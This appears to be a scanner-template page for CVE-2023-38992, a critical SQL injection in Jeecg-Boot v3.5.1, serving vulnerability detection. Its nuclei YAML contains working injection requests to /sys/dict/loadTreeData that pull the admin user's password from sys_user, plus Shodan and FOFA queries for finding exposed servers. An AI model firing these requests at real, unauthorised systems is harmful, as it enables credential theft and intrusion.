Jeecg-Boot v3.5.1 - SQL Injection

criticalseverity

9.8CVSS score

73.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

SQL injection vulnerability via the title parameter at /sys/dict/loadTreeData in jeecg-boot v3.5.1.

Impact

Successful exploitation could lead to unauthorized access to sensitive data.

Fix

Implement input validation and use parameterized queries to prevent SQL Injection attacks.

How to confirm it

Send: GET {{BaseURL}}/{{path}}sys/dict/loadTreeData?tableName=sys_user&text=password%20text,id&code=password&hasChildField=&converIsLeafVal=1&condition=&pid=ad… ; GET {{BaseURL}}/{{path}}sys/dict/loadTreeData?tableName=sys_user+t&text=password,id&code=password&hasChildField=&converIsLeafVal=1&condition=&pid=admin&p…
Positive when: contains_all(body, "parentId\":", "key\":", "{\"title", "success\":true") and contains(header, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-38992 -u <target>

The full check

id: CVE-2023-38992

info:
  name: Jeecg-Boot v3.5.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL injection vulnerability via the title parameter at /sys/dict/loadTreeData in jeecg-boot v3.5.1.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    Implement input validation and use parameterized queries to prevent SQL Injection attacks.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/5173
    - https://my.oschina.net/jeecg/blog/10107636
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38992
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-38992
    cwe-id: CWE-89
    epss-score: 0.73398
    epss-percentile: 0.99467
    cpe: cpe:2.3:a:jeecg:jeecg_boot:3.5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    verified: true
    shodan-query: http.favicon.hash:1380908726
    fofa-query: icon_hash=1380908726
  tags: cve,cve2023,jeecg,jeecg-boot,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}sys/dict/loadTreeData?tableName=sys_user&text=password%20text,id&code=password&hasChildField=&converIsLeafVal=1&condition=&pid=admin&pidField=username"
      - "{{BaseURL}}/{{path}}sys/dict/loadTreeData?tableName=sys_user+t&text=password,id&code=password&hasChildField=&converIsLeafVal=1&condition=&pid=admin&pidField=username"

    payloads:
      path:
        -
        - jeecg-boot/

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "parentId\":", "key\":", "{\"title", "success\":true")'
          - 'contains(header, "application/json")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from